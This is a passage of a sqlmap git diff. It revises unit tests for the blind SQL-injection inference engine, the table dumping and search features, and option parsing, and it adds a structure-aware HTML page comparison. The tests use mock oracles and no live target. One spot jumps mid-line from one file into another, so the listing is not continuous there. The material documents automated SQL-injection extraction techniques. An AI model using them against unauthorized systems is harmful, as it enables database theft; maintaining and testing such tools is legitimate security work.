listing. - s = _TestSearch() - conf.db = "ghost" - smod.inject.getValue = lambda query, *a, **k: (None if k.get("expected") == EXPECTED.INT else self.fail("must not page when count fails")) - s.searchDb() - self.assertEqual(conf.dumper.listed[-1][1], []) - - def test_search_table_inference_grouped(self): - # Blind searchTable, no conf.db: outer count of dbs holding the table, then - # per-db a name, then per-db a count of matching tables, then table names. - s = _TestSearch() - conf.tbl = "users" - conf.db = None - - # Sequencing by the EXPECTED.INT counts + the per-index string results. - # 1st count: number of databases with the table -> 1 - # 1st db name -> "testdb" - # 2nd count: number of tables in testdb -> 1 - # table name -> "users" - seq = {"counts": ["1", "1"], "ci": 0, "vals": ["testdb", "users"], "vi": 0} - - def gv(query, *a, **k): - if k.get("expected") == EXPECTED.INT: - v = seq["counts"][seq["ci"] % len(seq["counts"])] - seq["ci"] += 1 - return v - v = seq["vals"][seq["vi"] % len(seq["vals"])] - seq["vi"] += 1 - return [v] - - smod.inject.getValue = gv - s.searchTable() - self.assertEqual(conf.dumper.dbTablesArg, {"testdb": ["users"]}) - self.assertEqual(s.dumpFoundTablesCalls[-1], {"testdb": ["users"]}) - - def test_search_table_mysql_lt5_bruteforce_decline(self): - # MySQL < 5 forces the bruteforce path; declining the prompt returns None - # without any injection. - s = _TestSearch() - conf.tbl = "users" - conf.db = None - kb.data.has_information_schema = False - smod.readInput = lambda *a, **k: "N" - smod.inject.getValue = lambda *a, **k: self.fail("bruteforce decline must not query") - self.assertIsNone(s.searchTable()) - - def test_search_column_inference(self): - # Blind searchColumn, no db/tbl: count of dbs with the column, then db name; - # then per-db count of tables with the column, then table name -> getColumns - # folds the column into dbs. - s = _TestSearch() - conf.col = "password" - conf.db = None - conf.tbl = None - - seq = {"counts": ["1", "1"], "ci": 0, "vals": ["testdb", "users"], "vi": 0} - - def gv(query, *a, **k): - if k.get("expected") == EXPECTED.INT: - v = seq["counts"][seq["ci"] % len(seq["counts"])] - seq["ci"] += 1 - return v - v = seq["vals"][seq["vi"] % len(seq["vals"])] - seq["vi"] += 1 - return [v] - - smod.inject.getValue = gv - s.searchColumn() - dbs = conf.dumper.dbColumnsArg[2] - self.assertIn("testdb", dbs) - self.assertIn("users", dbs["testdb"]) - self.assertIn("password", dbs["testdb"]["users"]) - - def test_search_column_mysql_lt5_bruteforce_decline(self): - s = _TestSearch() - conf.col = "password" - conf.db = None - conf.tbl = None - kb.data.has_information_schema = False - smod.readInput = lambda *a, **k: "N" - smod.inject.getValue = lambda *a, **k: self.fail("bruteforce decline must not query") - # Declining returns None and never reaches dbColumns. - self.assertIsNone(s.searchColumn()) - self.assertIsNone(conf.dumper.dbColumnsArg) - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_generic_more.py b/tests/test_generic_takeover.py similarity index 66% rename from tests/test_generic_more.py rename to tests/test_generic_takeover.py index 00bcd0c8da1..f78aaa697de 100644 --- a/tests/test_generic_more.py +++ b/tests/test_generic_takeover.py @@ -4,14 +4,8 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission -Additional unit tests for the generic plugin mixins, driving branches NOT already -covered by tests/test_search_enum.py / tests/test_databases_enum.py: - - * plugins/generic/entries.py - dumpTable column/table --exclude filtering, the - --where (conf.dumpWhere) query rewrite, disableHashing toggle, METADB suffix - db handling, the "no usable columns" / "missing columns" skip branches, and - dumpAll over multiple dbs/tables (dict and list shapes) plus dumpFoundTables / - dumpFoundColumn interactive flows. +Unit tests for the generic plugin mixins covering: + * plugins/generic/custom.py - sqlQuery SELECT/non-query/stacked branches, the MSSQL FROM rewrite, METADB suffix stripping, SqlmapNoneDataException handling, and sqlFile. @@ -38,14 +32,13 @@ from lib.core.common import Backend from lib.core.data import conf, kb -from lib.core.enums import DBMS, OS +from lib.core.enums import OS from lib.core.settings import NULL import plugins.generic.entries as emod import plugins.generic.custom as cmod import plugins.generic.misc as mmod import plugins.generic.takeover as tmod -from plugins.generic.entries import Entries from plugins.generic.custom import Custom from plugins.generic.misc import Miscellaneous @@ -64,40 +57,6 @@ def sqlQuery(self, query, queryRes): self.sqlQueries.append((query, queryRes)) -# --------------------------------------------------------------------------- # -# entries.py -# --------------------------------------------------------------------------- # - -class _TestEntries(Entries): - """Entries with cross-mixin collaborators stubbed. - - forceDbmsEnum / getCurrentDb / getColumns / getTables are normally supplied by - sibling mixins; we emulate column/table discovery by populating kb.data.cached* - from canned attributes, exactly as the production plugins do. - """ - - def __init__(self): - Entries.__init__(self) - self.getColumnsResult = {} # assigned to kb.data.cachedColumns - self.getTablesResult = {} # assigned to kb.data.cachedTables - self.getColumnsCalls = [] - self.getTablesCalls = 0 - - def forceDbmsEnum(self): - pass - - def getCurrentDb(self): - return "testdb" - - def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): - self.getColumnsCalls.append((conf.db, conf.tbl)) - kb.data.cachedColumns = dict(self.getColumnsResult) - - def getTables(self, bruteForce=None): - self.getTablesCalls += 1 - kb.data.cachedTables = dict(self.getTablesResult) - - class _GenericBase(unittest.TestCase): """Snapshot/restore for everything the generic mixins touch.""" @@ -196,238 +155,6 @@ def _force_os(os_name): Backend.setOs(os_name) -class TestEntriesDumpTable(_GenericBase): - def _entries(self, db="testdb", tbl="users", cols=("id", "name")): - e = _TestEntries() - e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} - return e - - def test_exclude_filters_columns(self): - set_dbms("MySQL") - e = self._entries(cols=("id", "secret")) - conf.db = "testdb" - conf.tbl = "users" - conf.col = None - conf.exclude = "secret" - emod.inject.getValue = lambda *a, **k: [["1"]] - - e.dumpTable() - dumped = conf.dumper.tableValues[-1] - self.assertIn("id", dumped) - self.assertNotIn("secret", dumped) - - def test_exclude_all_columns_skips(self): - set_dbms("MySQL") - e = self._entries(cols=("secret",)) - conf.db = "testdb" - conf.tbl = "users" - conf.col = None - conf.exclude = "secret" - emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") - - e.dumpTable() - # all columns excluded => "no usable column names" => nothing dumped - self.assertEqual(conf.dumper.tableValues, []) - - def test_dumpwhere_rewrites_query(self): - set_dbms("MySQL") - e = self._entries(cols=("id",)) - conf.db = "testdb" - conf.tbl = "users" - conf.col = None - conf.dumpWhere = "id>5" - captured = {} - - def gv(query, *a, **k): - captured["query"] = query - return [["9"]] - - emod.inject.getValue = gv - e.dumpTable() - # agent.whereQuery folds conf.dumpWhere into the dump query - self.assertIn("id>5", captured["query"]) - self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["9"]) - - def test_disablehashing_false_path(self): - # conf.disableHashing False => attackDumpedTable() is invoked; with no - # hashes present it must complete without raising and still emit values. - set_dbms("MySQL") - e = self._entries(cols=("id", "name")) - conf.db = "testdb" - conf.tbl = "users" - conf.col = None - conf.disableHashing = False - emod.inject.getValue = lambda *a, **k: [["1", "alice"]] - - # Spy on attackDumpedTable: with disableHashing False it MUST be invoked - # after the values are dumped. A recorder replaces it so we can assert the - # call happened (and no real dictionary attack runs). - saved_attack = emod.attackDumpedTable - calls = {"n": 0} - emod.attackDumpedTable = lambda *a, **k: calls.__setitem__("n", calls["n"] + 1) - try: - e.dumpTable() - finally: - emod.attackDumpedTable = saved_attack - - self.assertEqual(calls["n"], 1) - self.assertEqual(conf.dumper.tableValues[-1]["__infos__"]["count"], 1) - - def test_missing_columns_skips_table(self): - # getColumns yields nothing for the targeted table => skip without fetching. - set_dbms("MySQL") - e = _TestEntries() - e.getColumnsResult = {"testdb": {"other": {"id": "int"}}} - conf.db = "testdb" - conf.tbl = "users" - conf.col = None - emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") - - e.dumpTable() - self.assertEqual(conf.dumper.tableValues, []) - - def test_multiple_tables_one_dumped(self): - set_dbms("MySQL") - e = _TestEntries() - e.getColumnsResult = {"testdb": {"users": {"id": "int"}, "posts": {"pid": "int"}}} - conf.db = "testdb" - conf.tbl = "users,posts" - conf.col = None - emod.inject.getValue = lambda *a, **k: [["1"]] - - e.dumpTable() - # both tables share the same cachedColumns dict => both dumped - tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] - self.assertIn("users", tables) - self.assertIn("posts", tables) - - def test_metadb_suffix_db(self): - # A db whose name carries the METADB_SUFFIX must not get a "db" prefix in - # kb.dumpTable, and dumping still succeeds. - from lib.core.settings import METADB_SUFFIX - set_dbms("MySQL") - metadb = "x%s" % METADB_SUFFIX - e = self._entries(db=metadb, tbl="t", cols=("c",)) - conf.db = metadb - conf.tbl = "t" - conf.col = None - emod.inject.getValue = lambda *a, **k: [["v"]] - - e.dumpTable() - self.assertEqual(list(conf.dumper.tableValues[-1]["c"]["values"]), ["v"]) - - -class TestEntriesDumpAll(_GenericBase): - def test_dumpall_multiple_dbs_tables(self): - set_dbms("MySQL") - e = _TestEntries() - conf.db = None - conf.tbl = None - conf.col = None - e.getTablesResult = {"db1": ["t1"], "db2": ["t2"]} - # dumpTable re-discovers columns per (db, tbl); supply both. - e.getColumnsResult = { - "db1": {"t1": {"a": "int"}}, - "db2": {"t2": {"b": "int"}}, - } - emod.inject.getValue = lambda *a, **k: [["x"]] - - e.dumpAll() - # Every table contributed a values batch. - self.assertEqual(len(conf.dumper.tableValues), 2) - - def test_dumpall_list_cached_tables(self): - # cachedTables as a bare list => wrapped under {None: [...]}. - set_dbms("MySQL") - e = _TestEntries() - conf.db = None - conf.tbl = None - conf.col = None - - # getTables sets cachedTables; emulate the list shape directly. - class _ListTables(_TestEntries): - def getTables(self_inner, bruteForce=None): - kb.data.cachedTables = ["users"] - - e = _ListTables() - # dumpAll wraps a bare list as {None: [...]}; dumpTable then resolves the - # None db via getCurrentDb() -> "testdb", so columns live under "testdb". - e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} - emod.inject.getValue = lambda *a, **k: [["1"]] - - e.dumpAll() - self.assertTrue(conf.dumper.tableValues) - # The bare-list None db must be resolved via getCurrentDb() -> "testdb" - # before the dump; assert the dumped __infos__ carries the real db (not - # None) for the requested "users" table. - infos = conf.dumper.tableValues[-1]["__infos__"] - self.assertEqual(infos["db"], "testdb") - self.assertEqual(infos["table"], "users") - - def test_dumpall_exclude_skips_table(self): - set_dbms("MySQL") - e = _TestEntries() - conf.db = None - conf.tbl = None - conf.col = None - conf.exclude = "secret" - e.getTablesResult = {"db1": ["secret", "users"]} - e.getColumnsResult = {"db1": {"users": {"id": "int"}, "secret": {"id": "int"}}} - emod.inject.getValue = lambda *a, **k: [["1"]] - - e.dumpAll() - tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] - self.assertIn("users", tables) - self.assertNotIn("secret", tables) - - -class TestEntriesDumpFound(_GenericBase): - def _entries(self): - e = _TestEntries() - e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} - return e - - def test_dump_found_tables_yes_all(self): - set_dbms("MySQL") - e = self._entries() - emod.inject.getValue = lambda *a, **k: [["1"]] - # batch readInput -> 'Y' (boolean True) and 'a'/'a' for db/table choices. - e.dumpFoundTables({"testdb": ["users"]}) - self.assertTrue(conf.dumper.tableValues) - # The interactive selection must dump the REQUESTED db/table, not just - # "something": assert the dumped __infos__ maps to testdb.users. - infos = conf.dumper.tableValues[-1]["__infos__"] - self.assertEqual(infos["db"], "testdb") - self.assertEqual(infos["table"], "users") - - def test_dump_found_tables_declined(self): - set_dbms("MySQL") - e = self._entries() - - def _no(message, default=None, checkBatch=True, boolean=False): - if boolean: - return False - return default - - emod.readInput = _no - emod.inject.getValue = lambda *a, **k: self.fail("must not dump when declined") - e.dumpFoundTables({"testdb": ["users"]}) - self.assertEqual(conf.dumper.tableValues, []) - - def test_dump_found_column_yes_all(self): - set_dbms("MySQL") - e = self._entries() - emod.inject.getValue = lambda *a, **k: [["1"]] - dbs = {"testdb": {"users": {"id": "int"}}} - e.dumpFoundColumn(dbs, foundCols=None, colConsider='1') - self.assertTrue(conf.dumper.tableValues) - # The selection must dump the REQUESTED db/table mapping, not just - # "something": assert the dumped __infos__ maps to testdb.users. - infos = conf.dumper.tableValues[-1]["__infos__"] - self.assertEqual(infos["db"], "testdb") - self.assertEqual(infos["table"], "users") - - # --------------------------------------------------------------------------- # # custom.py # --------------------------------------------------------------------------- # diff --git a/tests/test_inference.py b/tests/test_inference.py deleted file mode 100644 index adac33d5828..00000000000 --- a/tests/test_inference.py +++ /dev/null @@ -1,293 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Edge cases / control-flow branches of the blind-SQLi inference engine -(lib/techniques/blind/inference.py) plus the pure UNION configuration helper -(lib/techniques/union/use.py configUnion). - -Complements tests/test_inference_engine.py (which covers the happy-path char-by-char -extraction). Here we drive the REAL bisection() / queryOutputLength() against a mock -oracle (Request.queryPage replaced by a parser of our own parseable payload template) -to exercise the branches the engine test does not reach: - - * trivial returns: payload is None, length == 0 - * --first-char / --last-char range limiting (both via the function args and via - conf.firstChar / conf.lastChar) - * --hex output decoding of the assembled value - * kb.data.processChar post-processing hook - * session resume from HashDB: a fully cached value, and a PARTIAL_VALUE_MARKER - partial value that bisection continues from (against a REAL temp SQLite HashDB) - * queryOutputLength() forging + DIGITS-charset length retrieval - -No network, no live target, no real DBMS - exactly like the sibling engine test. -""" - -import os -import re -import sys -import tempfile -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms -bootstrap() - -from lib.core.data import conf, kb -from lib.core.common import decodeDbmsHexValue -from lib.core.common import getCurrentThreadData -from lib.core.common import hashDBWrite -from lib.core.enums import CHARSET_TYPE -from lib.core.exception import SqlmapSyntaxException -from lib.core.settings import PARTIAL_VALUE_MARKER -from lib.request.connect import Connect -from lib.utils.hashdb import HashDB -import lib.techniques.blind.inference as inf -import lib.techniques.union.use as uu - -# bisection forges: safeStringFormat(payload, (expression, idx, posValue)); '>' is the -# greater-char marker (swapped to '=' on the final equality check). A parseable template -# lets the mock oracle recover (idx, operator, threshold) and answer against a known secret. -TEMPLATE = "EXPR=%s IDX=%d CMP>%d" -_PARSE = re.compile(r"IDX=(\d+) CMP(.)(\d+)") - -# conf/kb knobs bisection reads on the simple single-threaded, no-prediction path -_CONF = {"predictOutput": False, "threads": 1, "api": False, "verbose": 0, "hexConvert": False, - "charset": None, "firstChar": None, "lastChar": None, "timeSec": 5, "eta": False, - "repair": False, "flushSession": None, "freshQueries": None, "hashDB": None} -_KB = {"partRun": None, "safeCharEncode": False, "bruteMode": False, "fileReadMode": False, - "disableShiftTable": False, "originalTimeDelay": 5, "prependFlag": False, - "resumeValues": True, "inferenceMode": False} - - -class _InferenceCase(unittest.TestCase): - def setUp(self): - self._saved_conf = {k: conf.get(k) for k in _CONF} - self._saved_kb = {k: kb.get(k) for k in _KB} - self._saved_qp = Connect.queryPage - self._saved_processChar = kb.data.get("processChar") - for k, v in _CONF.items(): - conf[k] = v - for k, v in _KB.items(): - kb[k] = v - kb.data.processChar = None - set_dbms("MySQL") - - def tearDown(self): - for k, v in self._saved_conf.items(): - conf[k] = v - for k, v in self._saved_kb.items(): - kb[k] = v - kb.data.processChar = self._saved_processChar - Connect.queryPage = self._saved_qp - inf.Request.queryPage = self._saved_qp - - def _install_oracle(self, secret): - def oracle(payload=None, *args, **kwargs): - m = _PARSE.search(payload) - idx, op, threshold = int(m.group(1)), m.group(2), int(m.group(3)) - ch = ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 - return (ch > threshold) if op == ">" else (ch == threshold) - - Connect.queryPage = staticmethod(oracle) - inf.Request.queryPage = staticmethod(oracle) - - @staticmethod - def _reset_thread(): - td = getCurrentThreadData() - td.shared.value = "" - td.shared.index = [0] - td.shared.start = 0 - td.shared.count = 0 - - def _bisect(self, secret, expression="SELECT secret", length=None, **kwargs): - self._install_oracle(secret) - self._reset_thread() - if length is None: - length = len(secret) - return inf.bisection(TEMPLATE, expression, length=length, **kwargs) - - -class TestTrivialReturns(_InferenceCase): - def test_none_payload(self): - # payload is None -> (0, None) without ever touching the oracle - self.assertEqual(inf.bisection(None, "SELECT x"), (0, None)) - - def test_zero_length(self): - # length == 0 -> (0, "") short-circuit - self._install_oracle("ignored") - self._reset_thread() - self.assertEqual(inf.bisection(TEMPLATE, "SELECT x", length=0), (0, "")) - - -class TestRangeLimiting(_InferenceCase): - SECRET = "ABCDEFGH" - - def test_first_char_arg(self): - # firstChar=3 -> start from the 3rd character (1-based) -> drop "AB" - _, value = self._bisect(self.SECRET, firstChar=3) - self.assertEqual(value, "CDEFGH") - - def test_last_char_arg(self): - # lastChar=4 -> stop after the 4th character - _, value = self._bisect(self.SECRET, lastChar=4) - self.assertEqual(value, "ABCD") - - def test_conf_first_char(self): - conf.firstChar = 4 - _, value = self._bisect(self.SECRET) - self.assertEqual(value, "DEFGH") - - def test_conf_last_char(self): - conf.lastChar = 3 - _, value = self._bisect(self.SECRET) - self.assertEqual(value, "ABC") - - def test_first_and_last_window(self): - # combined window: chars 3..6 inclusive -> "CDEF" - _, value = self._bisect(self.SECRET, firstChar=3, lastChar=6) - self.assertEqual(value, "CDEF") - - -class TestHexConvert(_InferenceCase): - def test_hex_output_decoded(self): - # --hex: the retrieved value is a hex string the engine decodes on the way out - conf.hexConvert = True - hexed = "48656C6C6F" # "Hello" - _, value = self._bisect(hexed) - self.assertEqual(value, "Hello") - self.assertEqual(value, decodeDbmsHexValue(hexed)) - - -class TestProcessCharHook(_InferenceCase): - def test_process_char_applied_to_each_char(self): - # kb.data.processChar transforms every assembled character - kb.data.processChar = lambda c: c.upper() - _, value = self._bisect("abcde") - self.assertEqual(value, "ABCDE") - - -class TestResumeFromHashDB(_InferenceCase): - """bisection() consults the session store first (hashDBRetrieve(checkConf=True)). - Exercised against a REAL temporary SQLite HashDB (same approach as test_hashdb.py).""" - - def setUp(self): - _InferenceCase.setUp(self) - fd, self.path = tempfile.mkstemp(suffix=".sqlite") - os.close(fd) - os.remove(self.path) # HashDB creates it lazily - conf.hashDB = HashDB(self.path) - # hashDBRetrieve/Write key off these - self._saved_loc = (conf.get("hostname"), conf.get("path"), conf.get("port")) - conf.hostname = "test.invalid" - conf.path = "/" - conf.port = 80 - - def tearDown(self): - conf.hostname, conf.path, conf.port = self._saved_loc - try: - conf.hashDB.closeAll() - except Exception: - pass - if os.path.exists(self.path): - os.remove(self.path) - _InferenceCase.tearDown(self) - - def test_full_value_resumed(self): - # a complete cached value short-circuits the whole bisection (0 queries) - hashDBWrite("SELECT cached", "RESUMED") - conf.hashDB.flush() - count, value = self._bisect("ignored-secret", expression="SELECT cached", length=7) - self.assertEqual(value, "RESUMED") - self.assertEqual(count, 0) - - def test_partial_value_continued(self): - # a PARTIAL_VALUE_MARKER value is resumed-from: bisection keeps the prefix - # and extracts only the remaining characters - kb.inferenceMode = True # partial markers are honored only in inference mode - hashDBWrite("SELECT partial", "%sAB" % PARTIAL_VALUE_MARKER) - conf.hashDB.flush() - count, value = self._bisect("ABCDE", expression="SELECT partial", length=5) - self.assertEqual(value, "ABCDE") - self.assertGreater(count, 0) # it did real work for "CDE" - - -class TestQueryOutputLength(_InferenceCase): - def test_length_retrieved(self): - # queryOutputLength forges a LENGTH() expression and runs bisection with the - # DIGITS charset; the mock "secret" is the textual length itself - self._install_oracle("42") - self._reset_thread() - self.assertEqual(int(inf.queryOutputLength("SELECT data", TEMPLATE)), 42) - - def test_length_single_digit(self): - self._install_oracle("7") - self._reset_thread() - self.assertEqual(int(inf.queryOutputLength("SELECT data", TEMPLATE)), 7) - - def test_digits_charset_extracts_number(self): - # direct bisection with the DIGITS charset (queryOutputLength's inner call) - _, value = self._bisect("2026", charsetType=CHARSET_TYPE.DIGITS) - self.assertEqual(value, "2026") - - -class TestConfigUnion(unittest.TestCase): - """lib/techniques/union/use.py configUnion - pure parsing of --union-char / --union-cols.""" - - _CONF = {"uChar": None, "uCols": None, "uColsStart": 1, "uColsStop": 50} - - def setUp(self): - self._saved = {k: conf.get(k) for k in self._CONF} - self._saved_uchar = kb.get("uChar") - for k, v in self._CONF.items(): - conf[k] = v - - def tearDown(self): - for k, v in self._saved.items(): - conf[k] = v - kb.uChar = self._saved_uchar - - def test_char_and_range(self): - uu.configUnion(char="NULL", columns="2-6") - self.assertEqual(kb.uChar, "NULL") - self.assertEqual((conf.uColsStart, conf.uColsStop), (2, 6)) - - def test_single_column(self): - uu.configUnion(char="NULL", columns="4") - self.assertEqual((conf.uColsStart, conf.uColsStop), (4, 4)) - - def test_uchar_substitution_quoted(self): - # conf.uChar (non-digit) gets quoted and substituted into the [CHAR] template - conf.uChar = "test" - uu.configUnion(char="x[CHAR]x", columns="1") - self.assertEqual(kb.uChar, "x'test'x") - - def test_uchar_substitution_digit(self): - # a digit conf.uChar is substituted unquoted - conf.uChar = "88" - uu.configUnion(char="[CHAR]", columns="1") - self.assertEqual(kb.uChar, "88") - - def test_conf_ucols_overrides_columns_arg(self): - # conf.uCols takes precedence over the columns argument - conf.uCols = "3-9" - uu.configUnion(char="NULL", columns="1-2") - self.assertEqual((conf.uColsStart, conf.uColsStop), (3, 9)) - - def test_non_integer_range_raises(self): - self.assertRaises(SqlmapSyntaxException, uu.configUnion, char="NULL", columns="abc") - - def test_inverted_range_raises(self): - self.assertRaises(SqlmapSyntaxException, uu.configUnion, char="NULL", columns="9-2") - - def test_non_string_char_ignored(self): - # a non-string char leaves kb.uChar untouched (early return) - kb.uChar = "SENTINEL" - uu.configUnion(char=None, columns="1") - self.assertEqual(kb.uChar, "SENTINEL") - - -if __name__ == "__main__": - unittest.main(verbosity=2) diff --git a/tests/test_option.py b/tests/test_option.py new file mode 100644 index 00000000000..b869a83d2ab --- /dev/null +++ b/tests/test_option.py @@ -0,0 +1,1594 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Option setup / normalization helpers in lib/core/option.py. + +These exercise the (mostly) pure config-massaging functions that parse, validate +and normalize user-supplied option values into the canonical conf.*/kb.* shapes +that the rest of sqlmap relies on - WITHOUT touching the network, the DBMS, the +filesystem (beyond what bootstrap already set up) or any interactive prompt. + +option.py mutates the global conf/kb singletons aggressively, so every test that +writes a conf/kb field saves and restores it via the _preserve() helper so the +shared state stays pristine for the other test files in the suite. +""" + +import contextlib +import logging +import os +import socket +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf, kb, logger +from lib.core.common import Backend +from lib.core.enums import AUTH_TYPE +from lib.core.enums import HTTP_HEADER +from lib.core.settings import DEFAULT_USER_AGENT +from lib.core.settings import IGNORE_CODE_WILDCARD +from lib.core.settings import MAX_CONNECT_RETRIES +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapUnsupportedDBMSException +from lib.core.exception import SqlmapValueException +from thirdparty.six.moves import urllib as _urllib + +import lib.core.option as option + +_SENTINEL = object() + +# scratchpad for the preprocess/postprocess/safe-req fixture files +_SCRATCH = os.environ.get("CLAUDE_SCRATCH") or os.path.join(os.path.dirname(os.path.abspath(__file__)), "_option_more_tmp") + +# conf/kb fields that Backend.getIdentifiedDbms()/getOs() consult; any test that +# might touch DBMS/OS forcing snapshots ALL of them so no fingerprint state leaks +# into sibling test files (e.g. test_target_parsing's resume tests). +_BACKEND_CONF_KEYS = ("dbms", "forceDbms", "os") +_BACKEND_KB_KEYS = ("dbms", "dbmsVersion", "forcedDbms", "dbmsFilter", "os", "osVersion", "osSP") + + +def tearDownModule(): + """Remove the scratch fixture directory so it never lingers on disk (and so a + stray __init__.py there can't shadow imports in a subsequent run).""" + import shutil + if os.path.isdir(_SCRATCH): + shutil.rmtree(_SCRATCH, ignore_errors=True) + + +class _BackendGuard(unittest.TestCase): + """Mixin: fully snapshot & restore Backend-relevant conf/kb state per test.""" + + def setUp(self): + super(_BackendGuard, self).setUp() + self._snap_conf = {k: (conf[k] if k in conf else _SENTINEL) for k in _BACKEND_CONF_KEYS} + self._snap_kb = {k: (kb[k] if k in kb else _SENTINEL) for k in _BACKEND_KB_KEYS} + + def tearDown(self): + for store, snap, keys in ((conf, self._snap_conf, _BACKEND_CONF_KEYS), + (kb, self._snap_kb, _BACKEND_KB_KEYS)): + for k in keys: + if snap[k] is _SENTINEL: + try: + del store[k] + except KeyError: + pass + else: + store[k] = snap[k] + super(_BackendGuard, self).tearDown() + + +@contextlib.contextmanager +def _preserve(target, *keys): + """Save the given keys of an AttribDict (conf/kb), then restore on exit. + + Missing keys are restored to absent so a test can't leak a brand-new field. + """ + saved = {} + for key in keys: + saved[key] = target[key] if key in target else _SENTINEL + try: + yield + finally: + for key in keys: + if saved[key] is _SENTINEL: + try: + del target[key] + except KeyError: + pass + else: + target[key] = saved[key] + + +class _ImportSandboxMixin(object): + """Loaders in option.py (tamper/preprocess/postprocess) permanently + `sys.path.insert(0, ||", " ", page) + + retVal = set() + + for match in re.finditer(STRUCTURAL_TAG_REGEX, page): + tag = match.group(1).lower() + attrs = match.group(2) or "" + retVal.add("tag:%s" % tag) + for _ in re.finditer(STRUCTURAL_CLASS_REGEX, attrs): + for value in (_.group(1) or _.group(2) or _.group(3) or "").split(): + retVal.add("cls:%s.%s" % (tag, value)) + for _ in re.finditer(STRUCTURAL_ID_REGEX, attrs): + value = (_.group(1) or _.group(2) or _.group(3) or "").strip() + if value: + retVal.add("id:%s#%s" % (tag, value)) + + return retVal + def trimAlphaNum(value): """ Trims alpha numeric characters from start and ending of a given value diff --git a/lib/core/option.py b/lib/core/option.py index 332053b1348..f7d26907483 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2210,6 +2210,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.pageTemplates = dict() kb.pageEncoding = DEFAULT_PAGE_ENCODING kb.pageStable = None + kb.pageStructurallyStable = None kb.partRun = None kb.permissionFlag = False kb.place = None diff --git a/lib/core/settings.py b/lib/core/settings.py index e55e69f1227..43667bf80ef 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.198" +VERSION = "1.10.6.199" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -180,6 +180,13 @@ # Regular expression used for extracting content from "textual" tags TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h[1-6]|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P[^<]+)" +# Regular expressions used for extracting a value-free structural skeleton of a (HTML) page (tag +# names and class/id attribute hooks), for structure-aware comparison of pages whose textual +# content is dynamic but whose layout is stable +STRUCTURAL_TAG_REGEX = r"(?si)<\s*([a-z][a-z0-9]*)((?:\s+[^<>]*)?)/?>" +STRUCTURAL_CLASS_REGEX = r"""(?si)\bclass\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))""" +STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))""" + # Regular expression used for recognition of IP addresses IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b" diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 1206e6814de..e3278297395 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -10,6 +10,7 @@ import re from lib.core.common import extractRegexResult +from lib.core.common import extractStructuralTokens from lib.core.common import getFilteredPageContent from lib.core.common import jsonMinimize from lib.core.common import listToStrValue @@ -177,6 +178,15 @@ def _comparison(page, headers, code, getRatioValue, pageLength): seq1 = jsonMinimize(kb.pageTemplate) seq2 = jsonMinimize(rawPage) + # Structure-aware comparison for a structurally-stable (but byte-unstable) HTML page: + # compare the value-free tag/class/id skeleton so dynamic text does not perturb the ratio + # while a structural change (e.g. a results table appearing/disappearing) still does + if seq1 is None and kb.pageStructurallyStable and not (conf.titles or conf.textOnly or kb.nullConnection): + _ = "\n".join(sorted(extractStructuralTokens(kb.pageTemplate))) + if _: # only engage when the page actually exposes structure (HTML tags); tagless content falls back to text + seq1 = _ + seq2 = "\n".join(sorted(extractStructuralTokens(rawPage))) + if seq1 is None or seq2 is None: if conf.titles: seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) From 92a9446c468eb3b15fbf02255f194ed8fb6d5e24 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 30 Jun 2026 23:50:45 +0200 Subject: [PATCH 655/853] Minor optimization --- data/txt/sha256sums.txt | 4 ++-- lib/controller/checks.py | 23 +++++++++++++++++++---- lib/core/settings.py | 9 ++++++++- 3 files changed, 29 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c71f09fc94a..0736b248ec6 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,7 +162,7 @@ 